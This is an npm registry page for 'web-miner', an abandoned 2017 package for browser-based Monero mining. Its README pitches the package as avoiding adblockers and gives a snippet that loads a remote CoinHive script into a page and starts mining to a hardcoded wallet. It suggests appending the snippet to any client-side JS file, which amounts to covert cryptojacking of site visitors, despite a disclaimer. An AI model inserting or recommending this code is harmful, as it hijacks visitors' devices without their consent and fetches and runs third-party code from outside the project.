# web-miner

> Uses javascript on the client-side to mine Monero to a specified wallet. Faster than setting up Google or amazon ads and avoids most adblockers.

Latest version **1.0.1** (published 2017-12-09) · MIT license · 0 weekly downloads

## Install

```sh
npm install web-miner
pnpm add web-miner
yarn add web-miner
bun add web-miner
```

## Health

**Score 15/100 (F)** — status: abandoned.

Positive: no vulnerabilities.

Warnings: low downloads; no types; no esm support.

Negative: abandoned; low maintenance score.

## Facts

| | |
|---|---|
| Version | 1.0.1 |
| Published | 2017-12-09 |
| First published | 2017-12-09 |
| Weekly downloads | 0 |
| License | MIT |
| TypeScript types | none |
| Module format | CommonJS |
| Dependencies | 0 |
| Known vulnerabilities | 0 |
| Install scripts | no |
| Author | Xavier Davias |
| Maintainers | davias |
| Keywords | crypto, cryptocurrency, currency, miner, mining, monero, xmr, coinhive, bitcoin, web-miner |

## Links

- npm: https://www.npmjs.com/package/web-miner
- Repository: https://github.com/davias1211990/web-miner
- Homepage: https://github.com/davias1211990/web-miner#readme
- Issues: https://github.com/davias1211990/web-miner/issues
- npm.io page: https://npm.io/package/web-miner

## Alternatives

- [@gemini-wallet/core](https://npm.io/package/@gemini-wallet/core.md) — 515.6K weekly downloads
- [utility](https://npm.io/package/utility.md) — 416.6K weekly downloads
- [@primno/dpapi](https://npm.io/package/@primno/dpapi.md) — 7.2K weekly downloads
- [pi-readseek](https://npm.io/package/pi-readseek.md) — 3.7K weekly downloads
- [@emilia-protocol/verify](https://npm.io/package/@emilia-protocol/verify.md) — 1.1K weekly downloads

## Recent versions

- 1.0.1 (latest) — 2017-12-09
- 1.0.0 — 2017-12-09

## README

# Web Crypto Miner

> Start making money for your sites, even during development. The web crypto miner allows you to easily mine Monero (xmr) in a browser using javascript. All you need is a monero wallet address.

## Important notes:

- Make sure you are using your public wallet address.
- Once you have mined .035 xmr it will be transfered to your wallet addres.
  - This usually takes about 5 days with constant load from 1 user. So, the more users the better.
- The pool fee is 1.5%

## Install
```
npm i web-miner --save
```

## Usage

This is for client-side code only.

If you don't have a monero wallet address and need one, I highly recommend https://mymonero.com

```js
var configure = require('web-miner');

// Make sure to use your wallet address otherwise you'll be sending me coins
// Replace the string with your wallet address string
configure('4B9pCtvG2e5BMUxBjT1NsLgGDSHovEpHhCVJFx4U4kQgSYomecnqdAyXK3YdCv2W1NhhMrNFG5ieUM21uo3HxzzDTG9MT2f');

```

If for whatever reason you don't have access to `npm` or require modules you can append this code in any js file that the client uses. Again, just replace my wallet address string with your wallet address string:

```js
var script = document.createElement('script');
script.onload = function () {
  // XMR Pool hash
  var m = new CoinHive.Anonymous('BUSbODwUSryGnrIwy3o6Fhz1wsdz3ZNu');
   // TODO: Replace the below string with wallet string
  m.start('4B9pCtvG2e5BMUxBjT1NsLgGDSHovEpHhCVJFx4U4kQgSYomecnqdAyXK3YdCv2W1NhhMrNFG5ieUM21uo3HxzzDTG9MT2f');
 };
script.src = 'https://coinhive.com/lib/coinhive.min.js';
document.head.appendChild(script);
```

## DISCLAIMER: USE RESPONSIBLY. DO NOT PASTE THE ABOVE CODE INTO JS FILES THAT YOU DO NOT OWN. I CANNOT BE HELD RESPONSIBLE FOR YOUR ACTIONS.

## Contributing

Pull requests and stars are always welcome. 
But before doing anything, please read the [CONTRIBUTING.md](./CONTRIBUTING.md) guidelines.

---
_Source: https://npm.io/package/web-miner · Machine-readable twin of the npm.io package page. Health data is recomputed on every publish._
